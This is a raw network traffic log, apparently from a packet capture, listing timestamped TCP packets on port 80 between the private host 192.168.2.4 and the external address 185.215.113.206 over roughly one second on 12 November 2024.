Nov 12, 2024 02:13:06.907150030 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.907183886 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.907200098 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.022891045 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.022941113 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.022984028 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.022999048 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.023009062 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.023019075 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.023032904 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.023049116 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.023056984 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.023065090 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.023075104 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.023088932 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.023104906 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.023134947 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.023858070 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.023871899 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.023884058 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.023900986 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.023914099 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.023950100 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.024324894 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.024338007 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.024350882 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.024363041 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.024377108 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.024404049 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.024425983 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.140347004 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.140372992 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.140386105 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.140403986 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.140424967 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.140438080 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.140446901 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.140450954 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.140497923 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.140765905 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.140780926 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.140791893 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.140804052 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.140964031 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.141264915 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.141278982 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.141290903 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.141304016 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.141335964 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.141361952 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.257105112 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.257157087 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.257168055 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.257188082 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.257191896 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.257200956 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.257215023 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.257241011 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.257280111 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.257678032 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.257688999 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.257699013 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.257709026 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.257741928 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.257754087 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.258156061 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.258167982 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.258188963 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.258198977 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.258208990 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.258213043 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.258235931 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.258266926 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.258795977 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.258810997 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.258821011 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.258873940 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.258959055 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.374089956 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.374102116 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.374142885 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.374166965 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.374190092 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.374197960 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.374212980 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.374223948 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.374248028 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.374273062 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.374547958 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.374608994 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.374619961 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.374631882 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.374641895 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.374675989 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.374706030 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.375057936 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.375082016 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.375097036 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.375108957 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.375111103 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.375122070 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.375140905 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.375164032 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.375678062 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.375691891 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.375704050 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.375736952 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.375750065 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.491199970 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.491220951 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.491238117 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.491250038 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.491264105 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.491276026 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.491283894 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.491321087 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.491331100 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.491334915 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.491350889 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.491352081 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.491384983 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.491414070 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.492048979 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.492060900 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.492072105 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.492084980 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.492105007 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.492132902 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.492453098 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.492466927 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.492477894 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.492510080 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.492530107 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.532341957 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.532356024 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.532366991 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.532413006 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.532442093 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.608122110 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.608140945 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.608155012 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.608186960 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.608201981 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.608232975 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.608282089 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.608333111 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.608345032 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.608355999 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.608366966 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.608397961 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.608418941 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.608798981 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.608815908 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.608828068 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.608844995 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.608858109 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.608860016 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.608887911 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.608916044 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.609354019 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.609369040 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.609380960 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.609412909 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.609425068 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.649343014 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.649379969 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.649396896 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.649409056 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.649425030 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.649445057 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.649471998 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.649509907 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.725399017 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.725425959 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.725440979 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.725451946 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.725464106 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.725475073 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.725476027 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.725488901 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.725503922 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.725537062 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.725845098 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.725862026 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.725872993 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.725934982 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.725949049 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.726027966 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.726039886 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.726054907 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.726068020 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.726082087 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.726113081 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.726459980 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.726473093 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.726484060 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.726519108 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.726551056 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.766370058 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.766392946 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.766407013 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.766422033 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.766474009 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.769094944 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.842084885 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.842123032 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.842134953 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.842159033 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.842175961 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.842190027 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.842231035 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.842407942 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.842458010 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.842459917 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.842504025 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.842570066 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.842581987 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.842593908 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.842612028 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.842638016 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.842817068 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.842866898 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.842869997 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.842885971 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.842897892 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.842921972 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.842952013 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.843306065 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.843327999 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.843346119 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.843364000 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.843375921 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.843508959 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.883378029 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.883414030 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.883425951 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.883438110 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.883696079 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.930427074 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.930495977 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.930860996 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.930906057 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.959290028 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.959304094 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.959326982 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.959335089 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.959341049 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.959352970 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.959429979 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.959479094 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.959659100 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.959671974 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.959707022 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.959810972 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.959822893 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.959836960 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.959851027 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.959863901 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.959877014 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.959918022 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.960273981 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.960288048 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.960299969 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.960311890 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.960319042 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.960325003 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.960338116 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.960338116 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.960350990 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.960352898 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.960365057 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:07.960386038 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.960405111 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:07.960433006 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.000763893 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.000777006 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.000788927 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.000828981 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.000858068 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.076328993 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.076344967 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.076355934 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.076395988 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.076412916 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.076421022 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.076425076 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.076438904 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.076459885 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.076491117 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.076647043 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.076658010 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.076693058 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.076793909 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.076806068 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.076817989 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.076829910 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.076838970 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.076858997 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.076886892 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.077188969 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.077203989 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.077215910 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.077233076 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.077239990 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.077245951 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.077264071 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.077326059 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.077745914 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.077759027 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.077769995 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.077795982 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.077822924 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.078026056 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.078039885 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.078072071 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.078102112 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.117588997 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.117600918 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.117620945 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.117630005 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.117666006 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.117712021 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.193521023 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.193553925 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.193567038 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.193576097 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.193588018 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.193598986 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.193605900 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.193641901 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.193751097 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.193762064 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.193772078 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.193797112 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.193824053 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.194001913 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.194015980 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.194025993 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:08.194062948 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:08.194075108 CET	49732	80	192.168.2.4	185.215.113.206
